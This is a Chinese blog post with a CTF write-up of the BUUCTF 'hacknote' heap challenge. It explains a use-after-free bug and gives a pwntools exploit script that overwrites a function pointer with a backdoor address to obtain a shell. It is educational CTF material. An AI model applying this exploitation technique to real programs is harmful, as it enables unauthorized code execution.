当前位置:网站首页>buuctf hacknote
buuctf hacknote
2022-08-11 05:29:00 【Mauricio_Davis】
#寻找思路
程序没有开启pie,且got表可以写,canary未开启
从程序可知我们可以对heap进行增删打印操作
**分析add_note函数可以得知,最多创建5个chunk,创建的时候就可以对其写入内容,note的结构包含2个chunk一个是固定的8字节,用于存放print_note_content的函数地址用于输出包含内容的chunk,另一个用于存放内容 **
再来分析del_note函数,我们发现,函数先free了包含内容的chunk,后free包含了print_note_content函数地址的chunk,但是并没有清空存放这些chunk地址的notelist数组,notelist数组再free chunk之后仍然保存在chunk的地址,这里就是uaf漏洞
另外我们还发现一个后门函数
那么思路如下:
- 首先我们可以想办法将存放print_note_content函数地址的chunk,将其指向改成后门函数,那么我们使用show打印这个chunk的时候,就会调用后门函数就可以拿到shell
#思路整理
- 创建两个note大小要求看exp,之后释放这两个note,我们可以发现,存放print_note_content函数地址的chunk,他永远是8字节的内容,我们释放完之后此时fastbin 存放内容如下:
我们很轻易的发现,chunk0 chunk1释放后,他们存放print_note_content函数地址的chunk都进入了fastbin[0]里面,我们每次申请note的时候都会创建两个chunk,其中一个是固定的8,另外一个也是用户自己决定的
我们再申请一个note,且该note的包含内容的chunk大小也为8,那么这个note的两个chunk就会拿到note1 note0存放输出的地址(注意申请出来的顺序),且输入内容为magic函数的地址,那么note0里面的包含输出函数的chunk内容就被改写成magic
我们释放之后notelist[0],notelist[1]的指针并没有清空依然可以使用show
我们show(0)的时候就会直接执行后门函数
#exp
from pwn import *
context.update(os='linux',arch='i386',log_level='debug')
#c=remote(b'node4.buuoj.cn',25937)
#c=process(b'./hacknote')
c = process(['/home/davis/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/ld-2.23.so', './hacknote'],env={
"LD_PRELOAD":'/home/davis/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so'})
gdb.attach(c,
''' b *0x08048680 b *0x08048720 b *0x0804885E b *0x08048863 '''
)
def add(size,content):
c.sendlineafter(b'choice :',b'1')
c.sendlineafter(b'size :',str(size))
c.sendlineafter(b'Content',content)
def free(idx):
c.sendlineafter(b'choice :',b'2')
c.sendlineafter(b'Index :',str(idx))
def show(idx):
c.sendlineafter(b'choice :',b'3')
c.sendlineafter(b'Index :',str(idx))
magic=0x08048945#后门函数地址
#申请这两个chunk
pause()
add(0x20,b'\x00')#0,申请的chunk大小就要不是和存放print_note_content函数地址的chunk大小一样即可(8)
pause()
add(0x20,b'\x00')#1,申请的chunk大小就要不是和存放print_note_content函数地址的chunk大小一样即可(8)
pause()
free(0)
pause()
free(1)
pause()
add(8,p32(magic))#3,改写note0中存放输出函数的chunk为magic
show(0),此时就会执行magic函数
pause()
c.interactive()
师傅们可以去B站搜索星盟安全团队的uaf章节,有师傅讲述了这个题目
边栏推荐
- Matplotlib找不到字体,打印乱码
- Some formulas for system performance and concurrency
- OpenMLDB Pulsar Connector: Efficiently connect real-time data to feature engineering
- Thesis unscramble TransFG: A Transformer Architecture for Fine - grained Recognition
- Day 85
- Argparse模块 学习
- 深度学习Matlab工具箱代码注释
- Use c language to implement tic-tac-toe chess (with source code, you can run it directly)
- 开源机器学习数据库OpenMLDB贡献者计划全面启动
- The mount command - mounted read-only, solution
猜你喜欢
随机推荐
promise 改变状态的方法和promise 的then方法
mongoose连接mongodb不错,显示encoding没有定义
The role of the port
论文解读TransFG: A Transformer Architecture for Fine-grained Recognition
js常用方法对象及属性
品优购项目实战笔记
将一个excel文件中多个sheet页“拆分“成多个“独立“excel文件
js learning advanced BOM part (pink teacher notes)
2021-09-11 C语言 变量与内存分配
mk文件介绍
Real-time Feature Computing Platform Architecture Methodology and Practice Based on OpenMLDB
Node stepping on the pit 80 port is occupied
Manufacturer Push Platform-Huawei Access
The official website of OpenMLDB is upgraded, and the mysterious contributor map will take you to advance quickly
127.0.0.1 已拒绝连接
ARM assembly instruction ADR and LDR
C语言实现猜数字(附带源码,可直接运行)
[Meetup Preview] OpenMLDB+OneFlow: Link feature engineering to model training to accelerate machine learning model development
helm安装
自己动手写RISC-V的C编译器-02语法描述方法和递归下降解析